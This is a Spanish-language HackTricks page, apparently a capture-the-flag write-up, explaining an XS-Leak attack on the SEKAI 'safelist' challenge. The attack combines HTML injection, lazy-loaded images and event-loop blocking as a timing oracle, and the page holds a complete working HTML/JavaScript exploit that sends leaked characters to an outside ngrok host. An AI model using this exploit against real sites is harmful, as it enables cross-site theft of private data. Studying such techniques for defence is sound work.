Español - Ht
HackTricks Training Twitter Linkedin Sponsor

Event Loop Blocking + Lazy images

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

En este exploit, @aszx87410 combina la técnica de canal lateral de imágenes lazy a través de una inyección HTML con un tipo de técnica de bloqueo del event loop para filtrar caracteres.

Este es un exploit diferente para el desafío CTF que ya fue comentado en la siguiente página. Echa un vistazo para obtener más información sobre el desafío:

pageConnection Pool Examples

La idea detrás de este exploit es:

  • Las publicaciones se cargan alfabéticamente.

  • Un atacante puede inyectar una publicación que comience con "A", luego alguna etiqueta HTML (como un gran <canvas) ocupará la mayor parte de la pantalla y algunas etiquetas finales de <img lazy para cargar cosas.

  • Si en lugar de una "A" el atacante inyecta la misma publicación pero comenzando con una "z". La publicación con la bandera aparecerá primero, luego la publicación inyectada aparecerá con la "z" inicial y el gran canvas. Debido a que la publicación con la bandera apareció primero, el primer canvas ocupará toda la pantalla y las etiquetas finales de <img lazy inyectadas no se verán en la pantalla, por lo que no se cargarán.

  • Luego, mientras el bot está accediendo a la página, el atacante enviará solicitudes fetch.

  • Si las imágenes inyectadas en la publicación se están cargando, estas solicitudes fetch tomarán más tiempo, por lo que el atacante sabrá que la publicación está antes de la bandera (alfabéticamente).

  • Si las solicitudes fetch son rápidas, significa que la publicación está alfabéticamente después de la bandera.

¡Veamos el código!

<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>

<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>

<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>

<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'

const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1

// I have omited code here as apparently it wasn't necesary

// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}

}, 0)

async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}

let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}

</script>
</body>
</html>
Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de AWS de HackTricks)!
Anteriorperformance.now + Force heavy taskSiguienteJavaScript Execution XS Leak

Última actualización